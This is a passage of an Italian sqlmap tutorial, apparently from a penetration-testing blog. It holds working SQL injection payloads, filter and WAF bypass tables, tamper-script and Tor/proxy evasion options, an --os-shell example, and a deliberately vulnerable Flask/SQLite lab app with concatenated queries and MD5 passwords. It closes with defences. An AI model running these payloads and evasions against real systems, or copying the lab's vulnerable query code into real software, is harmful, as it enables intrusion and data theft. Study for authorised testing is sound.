Per verificare a mano che sqlmap abbia ragione, riproduci un payload con curl:

bash
curl -s -G "http://127.0.0.1:5000/product" --data-urlencode "id=-1 UNION SELECT NULL,GROUP_CONCAT(name),NULL FROM sqlite_master WHERE type='table'-- -"

Fingerprint del DBMS a mano #

Prima di scegliere i payload devi sapere con chi parli. Le funzioni che dicono la versione sono diverse per ogni DBMS:

DBMSVersioneTest rapido
MySQL e MariaDB@@version o version()1 AND @@version LIKE '10%' (testato)
SQLitesqlite_version()-1 UNION SELECT NULL,sqlite_version(),NULL (testato: 3.53.1)
PostgreSQLversion()1 AND 1=CAST(version() AS INT)
Microsoft SQL Server@@version1 AND 1=CONVERT(INT,@@version)
Oraclebanner da v$version1 AND 1=(SELECT banner FROM v$version WHERE ROWNUM=1)

Per confermare quello che pensi, usa le funzioni che esistono solo su un DBMS: se sqlite_version() risponde, è SQLite; se dà errore, no. sqlmap fa lo stesso con -f (fingerprint esteso).

Bypass manuali dei filtri #

Quando un filtro blocca una parola o un carattere, la query può quasi sempre essere riscritta in un altro modo. Questi bypass sono stati provati sul laboratorio SQLite (/product?id=) e su MariaDB:

Cosa è bloccatoAlternativaProvato su
Lo spazio1/**/AND/**/1=1, tab %09, a capo %0a, parentesi 1 AND(1)=(1)SQLite
Il segno =1 AND 1 LIKE 1, 1 AND 1 IN (1), 1 AND 1 BETWEEN 1 AND 1SQLite
AND1 && 1=1MariaDB
Maiuscole e minuscoleUnIoN SeLeCtSQLite
La virgola nella UNIONUNION SELECT * FROM (SELECT 1) JOIN (SELECT sqlite_version()) JOIN (SELECT 3)SQLite
La virgola in LIMITLIMIT 1 OFFSET 1SQLite, MariaDB
La virgola in MID o SUBSTRINGMID(version() FROM 1 FOR 2)MariaDB
La parola UNION o SELECT/*!50000UNION*/ /*!50000SELECT*/ (commenti con versione di MySQL)MariaDB
Gli apici nelle stringheConcatenazione di stringhe adiacenti 'a' 'b'MariaDB
LIKERLIKE, NOT BETWEEN 0 AND 0MariaDB

Per riprodurli con curl:

bash
curl -s -G "http://127.0.0.1:5000/product" --data-urlencode $'id=1\tAND\t1=1'
curl -s -G "http://127.0.0.1:5000/product" --data-urlencode "id=1 AND 1 BETWEEN 1 AND 1"

Sono gli stessi trucchi che sqlmap automatizza con i tamper space2comment, equaltolike, between, commalesslimit, commalessmid e versionedkeywords: conoscerli a mano ti serve per capire quale tamper scegliere.

Altre tecniche dalle raccolte di payload #

Queste voci vengono dalle raccolte pubbliche come PayloadsAllTheThings e HackTricks. Le ho aggiunte perché sono quelle che nei test reali ti capitano più spesso, ma non le ho provate tutte sul laboratorio.

  • Polyglot. Un solo payload che rompe più contesti insieme, utile per un primo test su un punto di ingresso sconosciuto, per esempio SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ (MySQL). Non provato sul laboratorio.
  • Routed injection. Il risultato della prima query diventa l’input di una seconda: la UNION deve restituire una stringa che è a sua volta un payload.
  • Authentication bypass con hash. Nei casi in cui la password viene confrontata dopo un MD5(password, true), la stringa ffifdyop produce un hash che contiene 'or' e porta al bypass. Funziona solo su quella costruzione PHP.
  • Out-of-band. Quando non c’è nessuna differenza visibile, il database manda il dato a un server tuo (richieste DNS o HTTP): funziona su SQL Server, Oracle e su pochi altri.
  • PDO e query multiple. Con PDO le stacked queries possono funzionare anche su MySQL, a differenza di mysqli: conviene sempre provare --technique=S.

Tamper script e WAF bypass con sqlmap #

Un Web Application Firewall (Il significato è: un filtro che blocca richieste sospette prima che arrivino all’applicazione) riconosce i payload di sqlmap. Nelle versioni recenti sqlmap controlla da solo la presenza di un WAF all’inizio del test (nel log vedi “checking if the target is protected by some kind of WAF/IPS”); con --skip-waf salti questo controllo. L’opzione --identify-waf, che trovi nelle vecchie guide, non esiste più.

I tamper script (sqlmap tamper scripts) sono piccoli programmi che riscrivono ogni payload prima di spedirlo. Si usano con --tamper, anche più di uno, separati da virgola:

bash
# List every tamper script with its description
sqlmap --list-tampers

# Use more than one
sqlmap -u "http://127.0.0.1:5000/product?id=1" --tamper=space2comment,randomcase --batch

Per vedere come viene trasformato il payload, aggiungi -v 3. Esempio reale con space2comment,randomcase:

text
[PAYLOAD] 1)/**/ANd/**/5164=5164/**/ANd/**/(2348=2348

Gli spazi sono diventati /**/ e le lettere hanno maiuscole casuali. Con -v 3 vedi sempre quello che parte davvero.

I tamper script più usati #

Tutte le descrizioni vengono dall’elenco di sqlmap 1.10 (--list-tampers).

ScriptCosa faQuando serve
space2commentSostituisce lo spazio con /**/Filtri sugli spazi
space2plusSostituisce lo spazio con +Filtri sugli spazi
space2dashSpazio, --, stringa casuale e a capoFiltri sugli spazi
space2hashMySQL: spazio, #, stringa casuale e a capoFiltri sugli spazi su MySQL
space2mysqlblankMySQL: spazio con un carattere bianco alternativoWAF che conoscono /**/
space2mssqlblankMSSQL: spazio con un carattere bianco alternativoFiltri su SQL Server
space2randomblankSpazio con un carattere bianco casualeFiltri generici
multiplespacesAggiunge più spazi attorno alle parole chiaveRegole basate su un solo spazio
randomcaseMaiuscole e minuscole casuali nelle parole chiaveFiltri che distinguono il maiuscolo
randomcommentsCommenti casuali dentro le parole chiave (S/**/E/**/LECT)Filtri su parole chiave intere
uppercase, lowercaseParole chiave tutte maiuscole o minuscoleFiltri case-sensitive
between> diventa NOT BETWEEN 0 AND #, = diventa BETWEEN # AND #Filtri sui confronti
equaltolike= diventa LIKEFiltri sul segno uguale
greatest> diventa GREATESTFiltri sul maggiore
symboliclogicalAND e OR diventano && e ``Filtri su AND e OR
apostrophemask' diventa il suo equivalente UTF-8 a larghezza pienaFiltri sugli apici
unmagicquotes' diventa %BF%27 più un commentoEscape con addslashes e charset GBK
escapequotesApici preceduti da backslashFiltri che de-escapano
charencodeURL-encode di tutti i caratteriFiltri su stringhe in chiaro
chardoubleencodeDoppio URL-encodeApplicazioni che decodificano due volte
charunicodeencodeEncode Unicode nel formato %u0053Server ASP e IIS
overlongutf8UTF-8 “overlong” per i caratteri non alfanumericiFiltri con parser UTF-8 debole
percentageMette % davanti a ogni carattereServer IIS e ASP
base64encodeCodifica tutto il payload in Base64Parametri che arrivano già in Base64
versionedkeywordsMySQL: parole chiave dentro commenti con versioneWAF che non leggono /*!...*/
versionedmorekeywordsMySQL: ogni parola chiave in un commento con versioneCome sopra, più aggressivo
modsecurityversionedMySQL: tutta la query in un commento con versioneModSecurity
modsecurityzeroversionedMySQL: tutta la query in un commento con versione zeroModSecurity
informationschemacommentMySQL: commento dopo information_schemaFiltri su information_schema
commalesslimitMySQL: LIMIT M,N diventa LIMIT N OFFSET MFiltri sulla virgola
commalessmidMySQL: MID(A,B,C) diventa MID(A FROM B FOR C)Filtri sulla virgola
sleep2getlockSLEEP(5) diventa GET_LOCKFiltri sulla funzione SLEEP
unionalltounionUNION ALL SELECT diventa UNION SELECTFiltri su UNION ALL
0eunion, dunion, misunionAlterano il numero prima di UNIONFiltri su UNION
plus2concatMSSQL: + diventa CONCAT()Filtri sul segno più
sp_passwordMSSQL: aggiunge sp_password per nascondere la query nei logEvitare i log di SQL Server
xforwardedforAggiunge un header X-Forwarded-For fintoFiltri e blocchi per IP
varnishAggiunge X-originating-IPVarnish
bluecoatSpazio con un blank casuale, = diventa LIKEBlue Coat

Qualche combinazione che funziona spesso come punto di partenza:

bash
# Generic MySQL behind a signature-based WAF
sqlmap -u "http://192.168.56.20/product.php?id=5" --dbms=mysql --tamper=between,randomcase,space2comment --random-agent --batch

# ModSecurity in front of MySQL
sqlmap -u "http://192.168.56.20/product.php?id=5" --dbms=mysql --tamper=modsecurityversioned,space2mysqlblank --batch

# SQL Server on IIS
sqlmap -u "http://192.168.56.30/item.aspx?id=4" --dbms=mssql --tamper=space2mssqlblank,percentage --batch

Non esiste una combinazione magica: si prova, si guarda con -v 3 cosa viene bloccato e si cambia script. Se il sito è dietro Cloudflare o un WAF gestito, nessun tamper garantisce nulla: contano la lentezza, un User-Agent credibile e spesso trovare l’IP vero del server.

Scrivere un tamper script personalizzato #

Quando nessuno dei tamper esistenti basta, ne scrivi uno tuo: è un file Python con una funzione tamper che riceve il payload e lo restituisce modificato. Questo, provato sul laboratorio, sostituisce gli spazi dentro UNION ALL SELECT con degli a capo:

python
#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL


def dependencies():
    pass


def tamper(payload, **kwargs):
    """
    Replaces the spaces inside UNION ALL SELECT with newline characters
    """
    if payload:
        payload = payload.replace("UNION ALL SELECT", "UNION\nALL\nSELECT")
    return payload

Salvalo come newline_union.py in una cartella che contiene anche un file vuoto __init__.py: senza quel file sqlmap risponde “make sure that there is an empty file __init__.py inside of tamper scripts directory”. Poi:

bash
sqlmap -u "http://127.0.0.1:5000/product?id=1" --tamper=/home/kali/tamp/newline_union.py --technique=U --dbms=sqlite --batch -v 3

Con -v 3 vedi che il payload parte già trasformato:

text
[INFO] loading tamper module 'newline_union'
[PAYLOAD] 1 UNION\nALL\nSELECT NULL,CHAR(113,98,...)||CHAR(...)||CHAR(113,122,118,112,113),NULL-- iWAa

(Il \n che vedi è il modo in cui il log mostra l’a capo.)

Modificare le richieste al volo con –eval #

L’opzione --eval esegue una riga di Python prima di ogni richiesta: serve per ricalcolare un campo, per esempio una firma o un hash che dipende dagli altri parametri. Nelle versioni recenti sqlmap la blocca per sicurezza (perché esegue codice sul tuo computer) e, se la usi senza il consenso esplicito, si ferma con un errore. La variabile d’ambiente da impostare è descritta nell’help del tool: leggi bene cosa fa prima di attivarla e usala solo con stringhe scritte da te. In questo articolo non ho potuto provare il caso in cui --eval riesce, quindi non ti do un esempio completo.

Evasione: rate limit, user agent e rete #

bash
sqlmap -u "http://192.168.56.20/product.php?id=5" --random-agent --delay=2 --timeout=30 --retries=3 --batch
  • --random-agent cambia User-Agent, perché molti WAF bloccano quello di default di sqlmap.
  • --delay=2 aspetta due secondi tra le richieste (aggira i rate limit, rallenta tutto).
  • --timeout e --retries evitano falsi errori su server lenti.
  • --tamper=xforwardedfor aiuta quando il blocco è per indirizzo IP.

sqlmap con proxy, Tor e SOCKS #

Sqlmap può passare da un proxy HTTP (Burp, mitmproxy), da un proxy SOCKS o da Tor:

bash
# Through Burp
sqlmap -u "http://127.0.0.1:5000/product?id=1" --proxy="http://127.0.0.1:8080" --batch

# Through a SOCKS proxy (for example an SSH dynamic tunnel)
sqlmap -u "http://192.168.56.20/product.php?id=5" --proxy="socks5://127.0.0.1:1080" --batch

# Through Tor, checking that Tor works
sqlmap -u "http://192.168.56.20/product.php?id=5" --tor --tor-type=SOCKS5 --check-tor --batch

# Rotate a list of proxies
sqlmap -u "http://192.168.56.20/product.php?id=5" --proxy-file=proxies.txt --batch

# Save all traffic in a HAR file for the report
sqlmap -u "http://127.0.0.1:5000/product?id=1" --har=traffic.har --batch

Se il bersaglio è dietro un pivot, passa dal tunnel: con Proxychains puoi lanciare proxychains4 -q sqlmap -u ... --batch, oppure usa direttamente --proxy come sopra. Per costruire il tunnel leggi pivoting e Chisel . Tor è lento e molti siti lo bloccano: per un pentest serio è raro che serva.

Level e risk di sqlmap #

Sono le due manopole che decidono quanto sqlmap è curioso (level) e quanto è pericoloso (risk).

bash
# Default: quick and quiet
sqlmap -u "http://127.0.0.1:5000/product?id=1" --level=1 --risk=1 --batch

# Maximum coverage
sqlmap -u "http://127.0.0.1:5000/product?id=1" --level=5 --risk=3 --batch
  • --level (da 1 a 5) aumenta i punti dove provare: cookie, User-Agent, Referer, Host (vedi la tabella dei livelli sopra) e il numero di payload provati per ciascuno.
  • --risk (da 1 a 3) aumenta il tipo di test: al livello 2 si aggiungono le query pesanti basate sul tempo, al livello 3 i test con OR.

Attenzione al risk=3: un payload con OR dentro una query UPDATE o DELETE può modificare o cancellare dati reali. Per questo il default è 1. Su un database di produzione resta su --risk=1, e se devi alzarlo fallo solo con l’accordo scritto del cliente.

Altre opzioni per velocizzare e per ridurre il rumore:

bash
# Parallel requests (not with time-based)
sqlmap -u "http://127.0.0.1:5000/product?id=1" --technique=U --threads=10 --batch

# Do thorough tests only when a heuristic test is positive
sqlmap -u "http://127.0.0.1:5000/product?id=1" --smart --batch

# Skip parameters that don't look dynamic
sqlmap -u "http://127.0.0.1:5000/product?id=1" --skip-static --batch

# Show the estimated time of arrival for each value
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --eta --batch

Sessione, output e ripresa del lavoro #

Sqlmap salva ogni cosa che scopre in un file di sessione. Se rilanci lo stesso comando, riprende da dove aveva finito e non rifà richieste: vedi nel log “resuming” e le risposte arrivano subito.

bash
# Where the output goes (change it with --output-dir)
sqlmap -u "http://127.0.0.1:5000/product?id=1" --output-dir=/home/kali/results --batch

# Delete the saved session and start again
sqlmap -u "http://127.0.0.1:5000/product?id=1" --flush-session --batch

# Ask the target again instead of using saved results
sqlmap -u "http://127.0.0.1:5000/product?id=1" --fresh-queries --batch

Dentro la cartella di output, una sottocartella per ogni host contiene:

File o cartellaContenuto
logLe injection trovate, con tipo e payload
session.sqliteTutto quello che sqlmap ha già scoperto (la sessione)
target.txtIl comando e la richiesta usati
dump/I dati estratti con --dump, un file per tabella
files/I file letti dal server con --file-read

Verbosità. -v 0 mostra solo gli errori gravi, -v 1 (default) i messaggi normali, -v 2 anche i debug, -v 3 i payload, -v 4 le richieste HTTP, -v 5 anche le intestazioni delle risposte e -v 6 le risposte complete. Per il report e per capire cosa sta succedendo, -v 3 è quasi sempre quello giusto.

Se cambi le opzioni e il risultato non cambia, quasi sempre è la sessione salvata: usa --flush-session. Per cancellare i dati lasciati sul tuo computer a fine incarico: sqlmap --purge.

Troubleshooting: quando sqlmap non trova niente #

“All tested parameters do not appear to be injectable” #

Non vuol dire che il parametro è sicuro. Controlla in quest’ordine:

  • Sei nello stato giusto? Per una boolean-based la pagina di partenza deve poter cambiare: usa credenziali valide o un id esistente.
  • Hai alzato --level e --risk? Il time-based con query pesanti richiede --risk=2.
  • Il punto di ingresso è nel cookie o in un header? Serve --level=2 o --level=3.
  • C’è un WAF? Prova --tamper e --random-agent.
  • Il contesto della query è insolito? Dai tu i confini con --prefix e --suffix:
bash
sqlmap -u "http://127.0.0.1:5000/product?id=1" --prefix="'))" --suffix="-- -" --batch

Falsi positivi e confronto delle pagine #

Se sqlmap non capisce la differenza tra pagina vera e pagina falsa, aiutalo:

bash
# A string that appears only in the "true" page
sqlmap -u "http://127.0.0.1:5000/login" --data="username=admin&password=5f4dcc3b5aa765d61d8327deb882cf99" --string="Login successful" --batch

# A string that appears only in the "false" page
sqlmap -u "http://127.0.0.1:5000/login" --data="username=admin&password=x" --not-string="Wrong credentials" --batch

# Compare only the HTTP status code, or only the text without HTML tags
sqlmap -u "http://127.0.0.1:5000/product?id=1" --code=200 --batch
sqlmap -u "http://127.0.0.1:5000/product?id=1" --text-only --batch

Se la pagina cambia a ogni richiesta (banner, ora, pubblicità) prova --text-only o --titles.

Errori HTTP e timeout #

Un 500 durante i test è normale: sqlmap rompe apposta la query. Quando invece blocca il lavoro:

bash
# Ignore a problematic HTTP error code
sqlmap -u "http://127.0.0.1:5000/product?id=1" --ignore-code=401 --batch

# Slow server: more time, more retries, a pause between requests
sqlmap -u "http://127.0.0.1:5000/product?id=1" --timeout=60 --retries=5 --delay=2 --batch

# The application kills the session after a few errors
sqlmap -u "http://127.0.0.1:5000/product?id=1" --safe-url="http://127.0.0.1:5000/" --safe-freq=3 --batch

Caratteri strani e dati sbagliati #

bash
# Retrieve data in hexadecimal to avoid encoding problems
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --hex --batch

# Show the SQL errors the application leaks
sqlmap -u "http://127.0.0.1:5000/product?id=1" --parse-errors --batch

# Redo only the entries that came out with "?" characters
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --repair --batch

Per capire che cosa sta succedendo davvero, alza la verbosità: -v 3 mostra i payload, -v 4 le richieste HTTP e -v 6 anche le risposte.

Laboratorio sqlmap locale #

Se cerchi siti vulnerabili su cui esercitarti con sqlmap, non attaccare siti a caso: usa un laboratorio tuo. Questo è il laboratorio che ho usato per i comandi con 127.0.0.1:5000: una piccola applicazione Flask con SQLite, vulnerabile apposta. Ascolta solo su 127.0.0.1, quindi non è raggiungibile da fuori.

Prepara l’ambiente:

bash
mkdir sqlmaplab && cd sqlmaplab
pip install flask sqlmap

Crea il file vulnerable_lab.py:

python
import sqlite3
from urllib.parse import unquote
from flask import Flask, request, jsonify

app = Flask(__name__)
DB_PATH = "shop.db"


def init_database():
    conn = sqlite3.connect(DB_PATH)
    cur = conn.cursor()
    cur.executescript(
        """
        DROP TABLE IF EXISTS users;
        DROP TABLE IF EXISTS products;
        DROP TABLE IF EXISTS bios;
        CREATE TABLE bios (username TEXT PRIMARY KEY, bio TEXT);
        CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT);
        CREATE TABLE products (id INTEGER PRIMARY KEY, name TEXT, price REAL);
        INSERT INTO users VALUES (1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin');
        INSERT INTO users VALUES (2, 'mario', 'e10adc3949ba59abbe56e057f20f883e', 'user');
        INSERT INTO users VALUES (3, 'sara', '25d55ad283aa400af464c76d713c07ad', 'user');
        INSERT INTO products VALUES (1, 'Keyboard', 29.90);
        INSERT INTO products VALUES (2, 'Mouse', 14.50);
        INSERT INTO products VALUES (3, 'Monitor', 159.00);
        """
    )
    conn.commit()
    conn.close()


def run_query(query):
    conn = sqlite3.connect(DB_PATH)
    try:
        return conn.execute(query).fetchall()
    finally:
        conn.close()


@app.route("/product")
def product_get():
    # Vulnerable on purpose: GET parameter concatenated into the query
    identifier = request.args.get("id", "1")
    try:
        rows = run_query(
            "SELECT id, name, price FROM products WHERE id = " + identifier
        )
    except Exception as error:
        return "SQL error: " + str(error), 500
    if not rows:
        return "No product", 200
    return "<br>".join(f"{r[0]} - {r[1]} - {r[2]}" for r in rows)


@app.route("/login", methods=["POST"])
def login_post():
    # Vulnerable on purpose: POST parameters concatenated into the query
    username = request.form.get("username", "")
    password = request.form.get("password", "")
    try:
        rows = run_query(
            "SELECT id FROM users WHERE username = '"
            + username
            + "' AND password = '"
            + password
            + "'"
        )
    except Exception as error:
        return "SQL error: " + str(error), 500
    return "Login successful" if rows else "Wrong credentials"


@app.route("/profile")
def profile_cookie():
    # Vulnerable on purpose: cookie value concatenated into the query
    identifier = unquote(request.cookies.get("user_id", "1"))
    try:
        rows = run_query(
            "SELECT username FROM users WHERE id = " + identifier
        )
    except Exception as error:
        return "SQL error: " + str(error), 500
    return rows[0][0] if rows else "Unknown user"


@app.route("/api/search", methods=["POST"])
def search_json():
    # Vulnerable on purpose: JSON field concatenated into the query
    body = request.get_json(silent=True) or {}
    name = str(body.get("name", ""))
    try:
        rows = run_query(
            "SELECT id, name FROM products WHERE name = '" + name + "'"
        )
    except Exception as error:
        return jsonify({"error": str(error)}), 500
    return jsonify({"results": [{"id": r[0], "name": r[1]} for r in rows]})


@app.route("/delayed-search")
def blind_search():
    # Vulnerable on purpose, but the response never changes: only time-based works
    term = request.args.get("q", "")
    try:
        run_query("SELECT id FROM products WHERE name = '" + term + "'")
    except Exception:
        pass
    return "Search completed", 200


@app.route("/register", methods=["POST"])
def register_user():
    # Safe on purpose: the bio is stored with a parameterized query
    username = request.form.get("username", "")
    bio = request.form.get("bio", "")
    conn = sqlite3.connect(DB_PATH)
    conn.execute("INSERT OR REPLACE INTO bios VALUES (?, ?)", (username, bio))
    conn.commit()
    conn.close()
    return "Registered", 200


@app.route("/welcome")
def welcome_user():
    # Vulnerable on purpose (second order): the stored bio is concatenated later
    username = request.args.get("user", "")
    stored = run_query(
        "SELECT bio FROM bios WHERE username = '" + username.replace("'", "''") + "'"
    )
    if not stored:
        return "Unknown user", 404
    try:
        rows = run_query(
            "SELECT id, name FROM products WHERE name = '" + stored[0][0] + "'"
        )
    except Exception as error:
        return "SQL error: " + str(error), 500
    return "<br>".join(f"{r[0]} - {r[1]}" for r in rows) or "No matches"


if __name__ == "__main__":
    init_database()
    app.run(host="127.0.0.1", port=5000)

Avvialo:

bash
python3 vulnerable_lab.py

In un altro terminale controlla che risponda:

bash
curl -s "http://127.0.0.1:5000/product?id=1"

Deve restituire 1 - Keyboard - 29.9. A questo punto ogni comando della guida con 127.0.0.1:5000 funziona così com’è. Gli endpoint sono sette, uno per tipo di punto di ingresso:

EndpointPunto di ingressoComando da provare
/product?id=1Parametro GET numericosqlmap -u "http://127.0.0.1:5000/product?id=1" --batch
/loginCampo POST con stringasqlmap -u "http://127.0.0.1:5000/login" --data="username=admin&password=5f4dcc3b5aa765d61d8327deb882cf99" -p username --technique=B --batch
/profileCookiesqlmap -u "http://127.0.0.1:5000/profile" --cookie="user_id=1" --level=2 --batch
/api/searchCampo JSONsqlmap -u "http://127.0.0.1:5000/api/search" --data='{"name":"Mouse*"}' --headers="Content-Type: application/json" --technique=B --batch
/delayed-search?q=MouseBlind puro, solo temposqlmap -u "http://127.0.0.1:5000/delayed-search?q=Mouse" --technique=T --level=3 --risk=2 --time-sec=2 --batch
/register e /welcome?user=marioSecond-order: salvi bio adesso, la query si rompe doposqlmap -u "http://127.0.0.1:5000/register" --data="username=mario&bio=Mouse" -p bio --second-url="http://127.0.0.1:5000/welcome?user=mario" --technique=B --dbms=sqlite --batch

Esercizi, in ordine di difficoltà: trova la tecnica più veloce per /product e confrontala con le altre, estrai gli utenti con --dump e confronta gli hash che sqlmap cracca con quelli che crackeresti con Hashcat , riproduci a mano con curl il payload UNION che sqlmap ha usato, e infine metti -v 3 per vedere ogni payload che parte. Quando hai finito, ferma l’applicazione con Ctrl+C e cancella la cartella.

Alternative a sqlmap #

Sqlmap non è l’unico modo di testare una SQL injection, e in un pentest serio non è nemmeno il primo:

StrumentoQuando ha senso
Test manuale con Burp SuiteSempre il primo passo: capisci il contesto della query e fai pochissime richieste
GhauriAlternativa a riga di comando per SQL injection, utile come secondo parere quando sqlmap non trova nulla
jSQL InjectionStrumento con interfaccia grafica scritto in Java
NoSQLMapPer le NoSQL injection (MongoDB e simili): sqlmap non le copre
Scanner di Burp Suite ProfessionalPer una scansione automatica insieme al resto della web app

Se l’obiettivo è imparare, usa sqlmap per vedere cosa succede e poi riproduci i payload a mano: è il modo più veloce per capire davvero la SQL injection.

Come difendersi dalle SQL injection (e da sqlmap) #

Sqlmap non è magico: trova solo quello che la tua applicazione lascia aperto. Le difese che contano, in ordine di importanza:

  • Query parametrizzate sempre. Mai concatenare input dell’utente dentro una query: né parametri GET e POST, né cookie, né header, né campi JSON. Nel laboratorio ogni endpoint concatena una stringa; con una query parametrizzata nessuno dei comandi di questa guida avrebbe funzionato. In Python con SQLite: conn.execute("SELECT id, name, price FROM products WHERE id = ?", (identifier,)).
  • Validazione dei tipi. Se un parametro è un numero, convertilo in numero prima di usarlo. Un id che non è un intero va scartato con un errore 400.
  • Privilegi minimi per l’utente del database. L’applicazione non deve essere root, sa o postgres. Senza FILE, senza xp_cmdshell, senza ruoli di amministratore, anche una injection riuscita non arriva al sistema operativo. Controlla con --is-dba e --privileges come farebbe un attaccante.
  • Niente errori SQL in chiaro. Mostra all’utente un messaggio generico e scrivi i dettagli nei log: gli errori sono la strada più comoda per l’error-based.
  • Gli ORM non bastano. Anche con un ORM, un order by o un filtro costruito con una stringa può essere vulnerabile: leggi SQL injection negli ORM .
  • WAF come strato in più, non come soluzione. Il WAF rallenta sqlmap, ma i tamper script esistono proprio per aggirarlo. Corregge il codice, non il sintomo.
  • Monitoraggio. Sqlmap lascia tracce evidenti: centinaia di richieste in pochi secondi sullo stesso parametro, apici e parole come UNION SELECT, SLEEP e WAITFOR nei log, un User-Agent che contiene “sqlmap”, errori SQL a raffica. Allarmi su questi segnali e rate limit per IP riducono molto la finestra di un attaccante.
  • Backup e cifratura dei dati sensibili. Per le password usa hash lenti con salt (bcrypt, scrypt, Argon2): gli MD5 del laboratorio si craccano in un secondo, e proprio questo è quello che sqlmap fa da solo.
  • Testa tu per primo. Lancia sqlmap sulle tue applicazioni in un ambiente di test prima che lo faccia qualcun altro, e rifallo dopo ogni modifica importante.

Domande frequenti su sqlmap #

Cos’è sqlmap? È un tool open source in Python che automatizza il rilevamento e lo sfruttamento delle SQL injection: trova il parametro vulnerabile, riconosce il database, estrae i dati e, con i privilegi giusti, può leggere file ed eseguire comandi sul server.

Come si usa sqlmap? Il comando minimo è sqlmap -u "http://example.test/page.php?id=1" --batch. Poi, in ordine: --dbs per i database, -D db --tables per le tabelle, -D db -T users --columns per le colonne e -D db -T users --dump per i dati. Per richieste complesse salva la richiesta da Burp Suite e usa -r request.txt.

Dove scarico sqlmap? C’è un sqlmap download ufficiale? Il download ufficiale è il repository su GitHub, https://github.com/sqlmapproject/sqlmap : clona con git clone --depth 1 oppure scarica lo zip. Su Kali e Ubuntu puoi usare sudo apt install sqlmap, e con pip install sqlmap lo prendi da PyPI.

Sqlmap funziona su Windows? Sì. Installa Python 3 e Git, clona il repository e lancia python sqlmap.py. Funziona anche su Windows 7 con Python 3.8, anche se è un sistema non più supportato.

Si può usare sqlmap da telefono? Su Android con Termux sì: installi Python e Git e lanci python sqlmap.py dal repository. È utile per provare qualcosa in movimento, ma per un test vero lavora da un computer.

Sqlmap è legale? Lo strumento è legale; usarlo su un sistema senza autorizzazione no. In Italia l’accesso abusivo a un sistema informatico è reato (articolo 615-ter del codice penale). Usalo su laboratori tuoi, su piattaforme come Hack The Box e TryHackMe, in bug bounty con scope che lo permette e in penetration test con contratto.

Che differenza c’è tra --level e --risk? --level decide quanti punti di ingresso e quanti payload provare (cookie, header, e così via). --risk decide quanto sono pericolosi i test: al 2 si aggiungono le query pesanti, al 3 i test con OR, che su un UPDATE o un DELETE possono modificare dati reali.

Come uso sqlmap con i cookie? Passa il cookie con --cookie="name=value" e alza il livello a 2 o più: sqlmap -u "http://127.0.0.1:5000/profile" --cookie="user_id=1" --level=2 --batch. A livello 1 i cookie non vengono testati.

Cosa sono i tamper script e come si usano? Sono script che riscrivono i payload prima di mandarli, per aggirare filtri e WAF: --tamper=space2comment,randomcase. Vedi tutti quelli disponibili con sqlmap --list-tampers e il risultato di ciascuno con -v 3.

Sqlmap può bypassare qualsiasi WAF? No. I tamper script funzionano contro filtri semplici e regole basate su firme. Un WAF gestito o con rilevamento comportamentale può bloccare sqlmap lo stesso: contano la velocità bassa, un User-Agent credibile e il test manuale.

Come faccio una SQL injection blind con sqlmap? Sqlmap la gestisce da solo con le tecniche boolean-based e time-based. Se la pagina non mostra differenze usa --technique=T --level=3 --risk=2 (aggiungendo --time-sec=2 per fare prima). Funziona anche su un tutorial blind come quello del laboratorio, ma è lento: ogni carattere richiede più richieste.

Esiste un tutorial sqlmap in PDF? Sì: salva questa pagina in PDF dal browser (stampa, “Salva come PDF”) e hai la guida con tutti i comandi sempre a portata di mano. La documentazione ufficiale è nel wiki del progetto su GitHub.

Sqlmap funziona con Microsoft SQL Server? Sì, ed è uno dei DBMS meglio supportati: sqlmap -u "http://192.168.56.30/item.aspx?id=4" --dbms=mssql --os-shell --batch può riattivare xp_cmdshell se l’utente è amministratore. I dettagli sono in SQL injection su MSSQL .

Perché sqlmap dice che il parametro non è vulnerabile? Spesso perché i test non arrivano al punto giusto: livello e rischio troppo bassi, punto di ingresso nel cookie o in un header, pagina di partenza nello stato “falso”, WAF. Rivedi la sezione di troubleshooting qui sopra prima di concludere che il parametro è sicuro.

Cos’è una cheat sheet di sqlmap e dove la trovo? È l’elenco dei comandi che usi ogni giorno. In questa guida la trovi nella tabella dei comandi e nella cheat sheet per categoria . Per l’elenco completo usa sqlmap -hh.

Qual è la differenza tra sqlmap e Burp Suite? Burp serve a vedere e modificare le richieste, e per il test manuale. Sqlmap automatizza il rilevamento e lo sfruttamento. Si usano insieme: salvi la richiesta da Burp e la dai a sqlmap con -r.

Come testo più URL con sqlmap? Metti un URL per riga in un file e lancia sqlmap -m targets.txt --batch. Con --results-file salvi l’elenco dei risultati in un CSV.

Come salvo l’output di sqlmap? Sqlmap salva già tutto: log, sessione e dump sono in ~/.local/share/sqlmap/output/<host>/. Con --output-dir scegli un’altra cartella, con --dump-format il formato dei dati (CSV, HTML, SQLITE, JSONL).

Perché --os-shell non funziona? Quasi sempre manca uno di questi requisiti: l’utente del database non è amministratore, il DBMS è SQLite, le stacked queries non sono accettate, la cartella web non è scrivibile o sqlmap non conosce il percorso della web root. Controlla prima con --is-dba e --privileges.

Come uso sqlmap con un token CSRF? Con --csrf-token (il nome del campo) e --csrf-url (la pagina dove leggere il token nuovo). Un esempio è nella sezione sui token CSRF.

Cos’è la second-order injection? È un’injection in cui il payload viene salvato adesso e usato dopo, in un’altra pagina. Con sqlmap si dice dove guardare con --second-url: l’esempio funzionante è nel laboratorio.

Quanto è affidabile --eval? Serve a ricalcolare un campo prima di ogni richiesta, ma esegue codice Python e per questo è bloccata di default. Non l’ho potuta provare fino al successo: segui l’help ufficiale.

Come difendersi da sqlmap? Con query parametrizzate, validazione dei tipi, un utente del database con privilegi minimi, messaggi di errore generici e log con allarmi sui picchi di richieste e sulle stringhe tipiche. Un WAF aiuta ma non sostituisce il codice corretto: la difesa vera è non concatenare mai l’input dentro una query.

#SQLmap #SQLmap Commands #SQLmap Tutorial #SQL Injection #SQL Injection Testing #SQL Injection Tools

lascia un messaggio

Non sono un robot